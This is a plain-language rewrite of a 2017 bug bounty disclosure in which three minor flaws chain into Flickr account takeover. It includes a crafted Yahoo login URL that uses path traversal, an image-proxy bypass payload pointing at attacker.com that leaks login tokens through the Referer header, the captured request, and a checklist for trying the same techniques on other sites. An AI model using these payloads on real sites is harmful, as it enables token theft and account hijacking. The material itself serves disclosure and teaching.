Yahoo Bug Bounty: Chaining 3 Minor Issues To Takeover Flickr Accounts
Published on mishresec.wordpress.com
Flickr is an image and video hosting website which is owned by Yahoo and resides on the flickr.com domain.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Flickr is an image and video hosting website owned by Yahoo, served from the flickr.com domain. Authentication on Flickr is delegated to Yahoo: when a user signs in, the browser is sent to login.yahoo.com to obtain an access token for that user, and Flickr then verifies the returned tokens against Yahoo's verification server before logging the user in.
The write-up examines that sign-in hand-off between login.yahoo.com and flickr.com, and shows how three individually minor issues can be chained into a full account takeover.

Setup
The researcher worked against the Flickr and Yahoo login endpoints. No special tooling is described beyond a browser and the ability to post comments on Flickr photos and on the Flickr help forum. The precondition for the attack is that the victim is already logged in to Yahoo: in that state the Flickr sign-in flow completes in the background without the user re-entering credentials.
Finding it
The normal login flow
A user who wants to log in to Flickr clicks a sign-in button, which redirects to the following URL:
https://login.yahoo.com/config/login?.src=flickrsignin&.pc=8190&.scrumb=0&.pd=c%3DH6T9XcS72e4mRnW3NpTAiU8ZkA--&.intl=il&.lang=en&mg=1&.done=https%3A%2F%2Flogin.yahoo.com%2Fconfig%2Fvalidate%3F.src%3Dflickrsignin%26.pc%3D8190%26.scrumb%3D0%26.pd%3Dc%253DJvVF95K62e6PzdPu7MBv2V8-%26.intl%3Dil%26.done%3Dhttps%253A%252F%252Fwww.flickr.com%252Fsignin%252Fyahoo%252F%253Fredir%253Dhttps%25253A%25252F%25252Fwww.flickr.com%25252F
This is the Yahoo account login page, where the user is prompted for credentials. After submitting the form, the user is redirected to a Yahoo endpoint that verifies the credentials and, if they are valid, back to the following Flickr URL:
https://www.flickr.com/signin/yahoo/?redir=https%3A%2F%2Fwww.flickr.com%2F&.data={first-token-value}&.ys={second-token-value}
In the background, Flickr verifies the .ys and .data parameters against the Yahoo verification server and logs the user in.
The observation
If the user is already logged in to Yahoo and clicks the initial link, the whole flow happens in the background without any credential prompt. That raises the risk of account takeover, because a single click (as in some OAuth implementations) is enough for authentication to happen on the user's behalf. The researcher started looking for a way to subvert this flow.
The first thing noticed was that the second .done parameter can be manipulated. That parameter controls where the login tokens are sent. Yahoo's servers only verify that the value starts with https://www.flickr.com/signin/yahoo/, but path traversal can still be appended: appending ../../test to the original .done value causes the .ys and .data tokens to be sent to the https://www.flickr.com/test endpoint.
That gives a lead: an open redirect anywhere on the https://www.flickr.com/ origin would let the tokens be sent to an attacker-controlled server. No open redirect was found on the main domain, so the researcher looked for other ways to leak the token.
Exploitation
Step 1: Find a page that reflects tokens in the Referer
While digging, the researcher came across this page:
https://www.flickr.com/html.gne?tighten=0&type=comment
It states that images can be embedded in comments on different Flickr pages. The idea was that posting an external image in a comment would leak the tokens to an attacker server through the Referer header, since the tokens are still in the landing URL. A comment with the following content was posted on the researcher's own uploaded image:
The image was indeed embedded in the comment, but Yahoo rewrote its src value to the following:
https://ec.yimg.com/ec?url=https://attacker.com/someimage.jpg&t=1491136241&[redacted]
That is an internal Yahoo proxy, intended to stop Flickr from leaking requests to external servers. However, some browser tricks could manipulate the Flickr image processing logic. Posting the following comment:
<img src=”\/\/www.attacker.com/someimage.jpg” />
left the src value untouched by the proxy. The browser accepts this as a valid URL, but the comment still did not render the image, because a Content Security Policy applied:
The img-src directive blocked the external image because it was not on the whitelist, so external images could not be embedded on that page after all.
Step 2: Find a comment surface without CSP
The researcher then looked for other Flickr endpoints that allow comments, and found the forums page:
https://www.flickr.com/help/forum/en-us/
This page also supports HTML embedding in comments, and, importantly, no CSP is applied on https://www.flickr.com/help/forum/* pages. The following comment was posted on a forum thread:
<img src=”\/\/www.attacker.com/someimage.jpg” />
It worked: an external image was embedded here:
https://www.flickr.com/help/forum/en-us/72157668446997150/page14/
Step 3: Build the final link
All that remained was to construct the final URL:
https://login.yahoo.com/config/validate?.src=flickrsignin&.pc=8190&.scrumb=cLI6NPLejY6&.scrumb2=GszxN7PzUWX&.pd=c%3DJvVF95K62e6PzdPu7MBv2V8-&.intl=il&.done=https%3A%2F%2Fwww.flickr.com%2Fsignin%2Fyahoo%2F..%2F..%2Fhelp%2Fforum%2Fen-us%2F72157668446997150%2Fpage14%2F
Step 4: Capture the tokens and log in
When a user clicked the link, the browser was redirected to:
https://www.flickr.com/help/forum/en-us/72157668446997150/page14?data={some-token}&.ys={second-token}
From there the browser issued the following request:
The Referer header contained the tokens, which were sent to http://www.attacker.com. The attacker then only had to browse to the following URL in their own browser:
https://www.flickr.com/signin/yahoo/?.data={copied from referer}&.ys={copied from referer}
and they were logged in to the victim's account.
Root cause
Three weaknesses combine here:
- The
.doneparameter on login.yahoo.com was validated only by a prefix check againsthttps://www.flickr.com/signin/yahoo/. Path traversal sequences appended after that prefix were accepted, so the token-bearing redirect could be aimed at any path on the flickr.com origin. - Flickr's image proxy rewrote external image URLs, but the rewrite logic could be bypassed with the
\/\/form, which the browser still interprets as a protocol-relative URL. The proxy therefore did not neutralise the external image reference. - The Flickr photo comment pages applied a CSP that restricted
img-src, but the help forum pages did not, so an external image embedded in a forum comment was actually fetched by the victim's browser.
With the tokens in the landing URL and an external image on the same page, the browser's default Referer behaviour disclosed the full URL, tokens included, to the attacker's server. The prefix-only validation of .done, the proxy bypass and the missing CSP combined to make the leak work.
Impact
An attacker who can get a logged-in Yahoo user to click a single crafted link can obtain that user's Flickr login tokens and take over the Flickr account. The attack requires the victim to be already logged in to Yahoo, so that the flow completes without a credential prompt, and to click the link. The researcher notes the higher risk compared with flows that require the user to enter credentials, because a single click is enough.
Fix
Yahoo resolved the issue with several changes:
- The
.doneparameter on the login.yahoo.com endpoint now only allowshttps://www.flickr.com/signin/yahoo/as a valid value. - The image embedding logic's bypass using
\/\/is fixed. - CSP is now applied on the Flickr forum.
Timeline:
| Date | Event |
|---|---|
| Apr 2nd 2017 | Initial report via HackerOne |
| Apr 3rd 2017 | Report triaged |
| Apr 10th 2017 | Report resolved |
| Apr 21st 2017 | 7K$ bounty rewarded |
Variants to test
- Prefix-only redirect validation. On any login or OAuth hand-off, try appending
../sequences after an accepted prefix in the redirect parameter. A positive result is the token-bearing redirect landing on a different path on the trusted origin. - Token leakage through Referer. Look for pages on the token-receiving origin that render user-supplied content and can load external resources. A positive result is an outbound request whose
Referercontains the tokens. - Image proxy bypasses. Where an image proxy rewrites external URLs, try alternate URL syntaxes such as
\/\/host/pathand check whether the rewrittensrcstill resolves to the external host. - CSP coverage gaps. Compare CSP headers across subpaths of the same application (for example, main pages versus forum or help sections). A positive result is a user-content page without the
img-srcrestriction that blocks external images. - Background authentication flows. Test whether a logged-in session completes a sign-in hand-off without a credential prompt, since that turns any token leak into a one-click takeover.
What happened, in plain words
Flickr is a website where people upload and share photos and videos. It belongs to Yahoo and lives at flickr.com. When you want to sign in to Flickr, you do not type your password into Flickr itself. Instead, Flickr sends your browser over to Yahoo's login page at login.yahoo.com, you sign in there, and Yahoo hands Flickr a pair of secret codes (called tokens) that prove who you are. Flickr checks those codes with Yahoo's verification server and, if they are good, logs you in.
This report is about that hand-off between Yahoo's login page and Flickr. The researcher found three small problems, each of which on its own would be fairly harmless, and showed that when you put them together you can take over someone else's Flickr account. The three problems are:
- A part of the login link called
.done, which decides where the secret tokens get sent, could be bent so that the tokens landed on a different page of flickr.com than intended. - Flickr tried to stop people from loading images from other websites (by rewriting the image address through a Yahoo proxy), but a small trick with slashes got around that rewrite.
- Flickr's photo comment pages had a security rule (a Content Security Policy) that blocked outside images, but the Flickr help forum pages did not have that rule, so an outside image posted in a forum comment really did load.
Put together: the attacker posts a comment containing an outside image on a forum page, builds a special login link that sends the victim's secret tokens to that same forum page, and when the victim clicks the link their browser loads the outside image and, along with the request, hands the tokens to the attacker's server. The attacker then uses those tokens to log in as the victim.

Setting the scene
The researcher worked against the Flickr and Yahoo login pages. Nothing exotic is described: a browser and the ability to post comments on Flickr photos and on the Flickr help forum were enough. The one condition for the attack is that the victim is already signed in to Yahoo. In that state, the Flickr sign-in happens quietly in the background, without asking the user to type a password again.
How the normal login works
The first link
When someone wants to log in to Flickr, they click a sign-in button. That button sends the browser to this address:
https://login.yahoo.com/config/login?.src=flickrsignin&.pc=8190&.scrumb=0&.pd=c%3DH6T9XcS72e4mRnW3NpTAiU8ZkA--&.intl=il&.lang=en&mg=1&.done=https%3A%2F%2Flogin.yahoo.com%2Fconfig%2Fvalidate%3F.src%3Dflickrsignin%26.pc%3D8190%26.scrumb%3D0%26.pd%3Dc%253DJvVF95K62e6PzdPu7MBv2V8-%26.intl%3Dil%26.done%3Dhttps%253A%252F%252Fwww.flickr.com%252Fsignin%252Fyahoo%252F%253Fredir%253Dhttps%25253A%25252F%25252Fwww.flickr.com%25252F
Line by line, in plain words:
https://login.yahoo.com/config/loginis the address of Yahoo's login page. This is where you type your Yahoo username and password.- Everything after the
?is a list of settings passed to that page, separated by&. Each setting has a name and a value, joined by=. .src=flickrsignintells Yahoo which service is asking you to sign in. Here it is Flickr..pc=8190and.scrumb=0are further parameters whose meaning the report does not explain..pd=c%3DH6T9XcS72e4mRnW3NpTAiU8ZkA--is another internal value. The%3Dyou see is just an encoded=sign; addresses cannot contain certain characters directly, so they are written in a coded form (percent-encoding)..intl=iland.lang=enare further parameters whose meaning the report does not explain..done=...is the important one for this story. It tells Yahoo where to send the user once the sign-in is finished. Its value is itself a whole web address, written in coded form (that is why you see%3Afor:and%2Ffor/). Decoded, it points tologin.yahoo.com/config/validate, which is the Yahoo step that checks the credentials, and that step in turn has its own.donepointing atwww.flickr.com/signin/yahoo/.
So the first link is a chain: Yahoo's login page, then Yahoo's validation step, then finally Flickr's sign-in page. Each step passes the next destination along in a .done setting.
The last link
After the user fills in the form and clicks login, Yahoo checks the credentials. If they are valid, the browser is sent back to Flickr at this address:
https://www.flickr.com/signin/yahoo/?redir=https%3A%2F%2Fwww.flickr.com%2F&.data={first-token-value}&.ys={second-token-value}
Line by line:
https://www.flickr.com/signin/yahoo/is Flickr's own sign-in landing page. This is the page that finishes the job on Flickr's side.redir=https%3A%2F%2Fwww.flickr.com%2Fis where Flickr should send the user afterwards. Decoded, it is justhttps://www.flickr.com/, the Flickr home page..data={first-token-value}is the first secret token. The curly braces are a placeholder: in a real link there would be a long random-looking string there..ys={second-token-value}is the second secret token.
A token, in this context, is a short piece of text that acts like a temporary key. If you have the right tokens, the website treats you as the person who just logged in. It is a bit like a cloakroom ticket: whoever holds the ticket can collect the coat, no questions asked.
In the background, Flickr takes the .ys and .data values and checks them with Yahoo's verification server. If they check out, Flickr logs the user in.
The observation that started it
If the user is already signed in to Yahoo, clicking the first link does not show a login form at all. The whole chain runs silently in the background and the user ends up logged in to Flickr. That is convenient, but it also means a single click is enough to make authentication happen on the user's behalf. The researcher compares this to some OAuth setups, where clicking one link can authorise an app. The risk is higher than a flow that asks for a password, because there is no moment where the user has to stop and think.
So the researcher started looking for a way to bend this flow.
The first thing noticed: the second .done setting can be changed. That setting controls where the login tokens are sent. Yahoo's servers only check that the value starts with https://www.flickr.com/signin/yahoo/. They do not check what comes after that prefix. And you can append path traversal to it: adding ../../test to the original .done value makes the .ys and .data tokens go to the https://www.flickr.com/test address instead.
Path traversal needs a quick explanation. A web address is like a file path on a computer: https://www.flickr.com/signin/yahoo/ means "the yahoo folder inside the signin folder". The two dots .. mean "go up one folder". So ../../test means "go up two folders, then into test". If you start inside /signin/yahoo/, going up twice lands you at the top of the site, and then /test is a page at the top level. The server only looked at the beginning of the address, saw the trusted prefix, and let the rest through.
That gives a lead. If there were an open redirect anywhere on the https://www.flickr.com/ site, the tokens could be bounced onward to a server the attacker controls. An open redirect is a page that takes a destination from the address and forwards the visitor there, without checking whether the destination is trustworthy. It is like a receptionist who will forward your call to any number you name. The researcher did not find one on the main domain, so the search moved on to other ways of leaking the token.
Step 1: Find a page that puts the tokens in the Referer
While digging around, the researcher came across this page:
https://www.flickr.com/html.gne?tighten=0&type=comment
Line by line:
https://www.flickr.com/html.gneis a page on Flickr. The.gneending is just part of that page's name.?tighten=0&type=commentare settings passed to it.type=commentsays the page is about comments, andtighten=0is another setting whose meaning is not explained in the report.
This page says that images can be embedded in comments on different Flickr pages. That gave the researcher an idea. If you post a comment containing an image hosted on your own server, then when someone views the page their browser will fetch that image from your server. And browsers, by default, attach a Referer header to such requests. The Referer header is a small note the browser sends along saying "I came from this address". If the page the visitor came from has the secret tokens in its address, the note will contain the tokens too.
To test this, the researcher posted a comment on their own uploaded image with this content:
Line by line:
<img ...>is the HTML tag that tells a browser to display an image.src=is the setting that says where the image lives.”https://attacker.com/someimage.jpg”is the address of the image.attacker.comis a stand-in name for a server the attacker controls;someimage.jpgis a file on it.- The quote marks in the report are curly (
”), and there is a stray>at the end, which is the coded form of>. These are quirks of how the text was written down; the point is the image tag pointing at an outside server.
The image really did appear in the comment. But Yahoo did not leave the address alone. It rewrote the src value to this:
https://ec.yimg.com/ec?url=https://attacker.com/someimage.jpg&t=1491136241&[redacted]
Line by line:
https://ec.yimg.com/ecis a Yahoo server.yimg.comis a domain Yahoo uses for serving images and other static files.?url=https://attacker.com/someimage.jpgtells that Yahoo server which image to fetch. It is the original address, tucked inside the new one.&t=1491136241is another value in the rewritten address.- `&[redacted] is another value in the rewritten address.
What this means: instead of the visitor's browser going straight to attacker.com, it goes to Yahoo's own server, and Yahoo's server fetches the image and passes it on. This is called a proxy. The idea is to stop Flickr pages from quietly contacting outside servers, because all the requests go through Yahoo first. It is like a mail room that opens every parcel before it reaches you.
But the researcher found that browser parsing tricks could get around Flickr's image handling. Posting this comment:
<img src=”\/\/www.attacker.com/someimage.jpg” />
left the src value untouched by the proxy. Line by line:
<img src=starts an image tag and sets its address, as before.”\/\/www.attacker.com/someimage.jpg”is the address, written with backslashes before the slashes. To a browser,\/\/at the start of an address is understood the same as//, which means "use the same scheme as the current page" (here, https) and then go to the named host. So the browser reads it ashttps://www.attacker.com/someimage.jpg./>closes the tag.
The Flickr code that rewrote addresses did not recognise this backslash form, so it left it alone. The browser, however, did recognise it. This is the classic mismatch: two pieces of software reading the same text in two different ways.
So the image should have appeared in the comments section of the photo. It did not, because a Content Security Policy was in force:
Line by line:
Content-Security-Policy:is the name of a rule that a website can send to the browser. It is a list of restrictions the browser must obey on that page.img-srcis the part of the rule that covers images: it lists which places images may be loaded from.data:andblob:are special kinds of addresses where the image is carried inside the page itself rather than fetched from a server.- The long list of addresses such as
https://*.flickr.com,https://*.yimg.com,https://*.yahoo.comand so on are the allowed sources. The*is a wildcard meaning "any subdomain". - The final
;ends the rule.
Because attacker.com is not on that list, the browser refused to load the image. So outside images could not be embedded on that page after all. The proxy had been bypassed, but the browser's own rule stopped the request.
Step 2: Find a comment page without the rule
The researcher then went looking for other Flickr pages that allow comments, and found the forums page:
https://www.flickr.com/help/forum/en-us/
Line by line:
https://www.flickr.com/help/forum/is the address of Flickr's help forum, a place where users discuss problems.en-us/is the English (United States) section of it.
This page also lets people put HTML in comments, and, importantly, the Content Security Policy was not applied on https://www.flickr.com/help/forum/* pages. The * here means "any page under this path". So the same trick that failed on photo comments should work here. The researcher posted this comment on a forum thread:
<img src=”\/\/www.attacker.com/someimage.jpg” />
This is the same image tag as before: an image whose address is written with backslashes so the Flickr rewriting step ignores it, but the browser still reads it as a request to www.attacker.com.
It worked. An outside image was embedded here:
https://www.flickr.com/help/forum/en-us/72157668446997150/page14/
Line by line:
https://www.flickr.com/help/forum/en-us/is the forum section, as before.72157668446997150is a number in the thread's address.page14/is the fourteenth page of that thread, where the comment was posted.
Step 3: Build the final link
Now all the pieces were in place. The researcher needed one link that would do three things: send the victim's tokens to the forum page, make the forum page load the attacker's image, and have the browser include the tokens in the note it sends along with that image request. The final address looked like this:
https://login.yahoo.com/config/validate?.src=flickrsignin&.pc=8190&.scrumb=cLI6NPLejY6&.scrumb2=GszxN7PzUWX&.pd=c%3DJvVF95K62e6PzdPu7MBv2V8-&.intl=il&.done=https%3A%2F%2Fwww.flickr.com%2Fsignin%2Fyahoo%2F..%2F..%2Fhelp%2Fforum%2Fen-us%2F72157668446997150%2Fpage14%2F
Line by line:
https://login.yahoo.com/config/validateis the Yahoo step that checks the sign-in and then forwards the user onward..src=flickrsigninsays the service is Flickr, as before..pc=8190is an internal bookkeeping value, as before..pd=c%3DJvVF95K62e6PzdPu7MBv2V8-is another internal value, with%3Dstanding for=..done=https%3A%2F%2Fwww.flickr.com%2Fsignin%2Fyahoo%2F..%2F..%2Fhelp%2Fforum%2Fen-us%2F72157668446997150%2Fpage14%2Fis the destination. Decoded, it readshttps://www.flickr.com/signin/yahoo/../../help/forum/en-us/72157668446997150/page14/.
The tokens will be delivered to a page the attacker chose, on the trusted flickr.com site.
Step 4: Catch the tokens and log in
When a user clicked the link, the browser was redirected to:
https://www.flickr.com/help/forum/en-us/72157668446997150/page14?data={some-token}&.ys={second-token}
Line by line:
https://www.flickr.com/help/forum/en-us/72157668446997150/page14is the forum thread page with the attacker's comment on it.?data={some-token}&.ys={second-token}are the two secret tokens, attached to the address. The curly braces are placeholders for the real values.
So the victim's browser is now sitting on the forum page, with the secret tokens in the address bar. The page contains the attacker's image tag, so the browser tries to load the image. And because the browser sends a Referer note with that request, the note includes the full address of the page it came from, tokens and all. This is the request the browser made:
Line by line:
GET https://attacker.com/someimage.jpg HTTP/1.1is the browser asking the attacker's server for the image.GETis the standard way of asking for something;HTTP/1.1is the version of the language browsers and servers use to talk.Host: http://www.attacker.comnames the server being contacted.Connection: keep-aliveasks to keep the connection open for further requests.User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36is the browser introducing itself: it says it is Chrome 56 on 64-bit Windows 10.Accept: image/webp,image/*,*/*;q=0.8says which kinds of content the browser is willing to receive, with images preferred.Referer: https://www.flickr.com/help/forum/en-us/72157668446997150/page14/?.data={some-token}&.ys={second-token}is the note saying where the request came from. This is the leak: it contains both secret tokens.Accept-Encoding: gzip, deflate, sdch, brlists the compression formats the browser can handle.Accept-Language: he-IL,he;q=0.8,en-US;q=0.6,en;q=0.4,es;q=0.2lists the languages the user prefers, with Hebrew first.
So the tokens arrived at http://www.attacker.com inside the Referer note. The attacker then only had to open this address in their own browser:
https://www.flickr.com/signin/yahoo/?.data={copied from referer}&.ys={copied from referer}
Line by line:
https://www.flickr.com/signin/yahoo/is Flickr's sign-in landing page, the one that checks tokens with Yahoo.?.data={copied from referer}&.ys={copied from referer}are the two tokens the attacker copied out of theReferernote.
Flickr checked the tokens, found them valid, and logged the attacker in as the victim.
Why it worked
Three weaknesses combined here:
- The
.donesetting on login.yahoo.com was checked only by looking at the beginning of the value: it had to start withhttps://www.flickr.com/signin/yahoo/. Anything appended after that prefix was accepted, so path traversal could aim the token-carrying redirect at any page on the flickr.com site. - Flickr's image proxy rewrote outside image addresses, but the rewrite could be dodged with the
\/\/form, which the browser still reads as a normal address to an outside host. The proxy therefore did not neutralise the outside image. - The Flickr photo comment pages had a Content Security Policy restricting
img-src, but the help forum pages did not, so an outside image posted in a forum comment really was fetched by the victim's browser.
With the tokens in the page address and an outside image on the same page, the browser's normal Referer behaviour handed the full address, tokens included, to the attacker's server. The prefix-only check on .done, the proxy bypass and the missing Content Security Policy combined to make the leak work.
What it means for users
An attacker who can get a Yahoo user who is already signed in to click a single crafted link can obtain that user's Flickr login tokens and take over the Flickr account. The attack needs two things from the victim: being signed in to Yahoo already, so the flow completes without a password prompt, and clicking the link. The researcher points out that this is riskier than flows that ask the user to type credentials, because one click is enough.
How it was fixed
Yahoo fixed the issue with several changes:
- The
.donesetting on the login.yahoo.com endpoint now only allowshttps://www.flickr.com/signin/yahoo/as a valid value. - The image embedding bypass using
\/\/is fixed. - A Content Security Policy is now applied on the Flickr forum.
Timeline:
| Date | Event |
|---|---|
| Apr 2nd 2017 | Initial report via HackerOne |
| Apr 3rd 2017 | Report triaged |
| Apr 10th 2017 | Report resolved |
| Apr 21st 2017 | 7K$ bounty rewarded |
Things to try on other sites
These are the general lessons, written as things a tester can try:
- Redirect checks that only look at the start. On any login or OAuth hand-off, try adding
../sequences after an accepted prefix in the redirect setting. A positive result is the token-carrying redirect landing on a different page of the trusted site. - Token leakage through Referer. Look for pages on the site that receives the tokens which show content supplied by users and can load outside resources. A positive result is an outgoing request whose
Referercontains the tokens. - Image proxy bypasses. Where an image proxy rewrites outside addresses, try other ways of writing the address, such as
\/\/host/path, and check whether the rewrittensrcstill points at the outside host. - Gaps in Content Security Policy coverage. Compare the Content Security Policy sent by different parts of the same site (for example, main pages versus forum or help sections). A positive result is a user-content page without the
img-srcrestriction that blocks outside images. - Sign-in that happens in the background. Test whether a signed-in session completes a sign-in hand-off without asking for a password, since that turns any token leak into a one-click takeover.
Glossary
- Account takeover: when an attacker gains control of someone else's account, here by obtaining their login tokens.
- API: a way for one piece of software to ask another to do something, using agreed addresses and formats. Not used directly in this report, but the login hand-off is the same idea between two websites.
- Authentication: proving who you are, usually by signing in.
- Bounty: a reward paid by a company to someone who reports a security problem to them.
- Browser: the program you use to visit websites, such as Chrome or Firefox.
- Comment: a message a user can post under a photo or in a forum thread.
- Content Security Policy (CSP): a rule a website sends to the browser listing what the page is allowed to load, such as which places images may come from.
- Cookie: a small piece of data a website stores in your browser so it can recognise you on later visits.
- Credentials: your username and password, the things you use to prove who you are.
- Domain: the main part of a web address, such as
flickr.comoryahoo.com. - Endpoint: a specific address on a server that does a particular job, such as the login page or the validation step.
- Header: an extra line of information sent along with a web request or response, such as
RefererorUser-Agent. - HackerOne: a website where security researchers report problems to companies and companies pay rewards.
- HTML: the language web pages are written in; tags like
<img>tell the browser what to show. - HTTP: the language browsers and servers use to exchange requests and responses.
- Image proxy: a server that fetches images on a website's behalf, so the visitor's browser never contacts the outside server directly.
img-src: the part of a Content Security Policy that says where images may be loaded from.- Open redirect: a page that forwards visitors to any address given to it, without checking whether that address is trustworthy.
- OAuth: a common way for one website to let another website sign you in or act on your behalf, usually by passing tokens around.
- Path traversal: using
..in an address to climb up out of the intended folder and reach somewhere else. - Percent-encoding: writing characters in addresses in a coded form, such as
%3Afor:and%2Ffor/. - Prefix check: checking only that a value starts with an expected piece of text, and ignoring whatever comes after it.
- Protocol-relative URL: an address starting with
//, which means "use the same scheme as the current page". - Proxy: a server that passes requests on to another server on your behalf.
Referer: a header the browser sends saying which page the request came from. If that page's address contains secrets, they travel along.- Redirect: sending the browser from one address to another.
src: the HTML setting that gives the address of an image or other resource.- Token: a short piece of text that acts like a temporary key, proving you have signed in.
- Triaged: when a company has looked at a report and confirmed it is worth investigating.
- User-Agent: a header in which the browser says what browser and operating system it is.
- Verification server: a server that checks whether tokens are genuine.
- Wildcard (
*): a symbol meaning "anything here", used in rules such ashttps://*.flickr.comto allow any subdomain.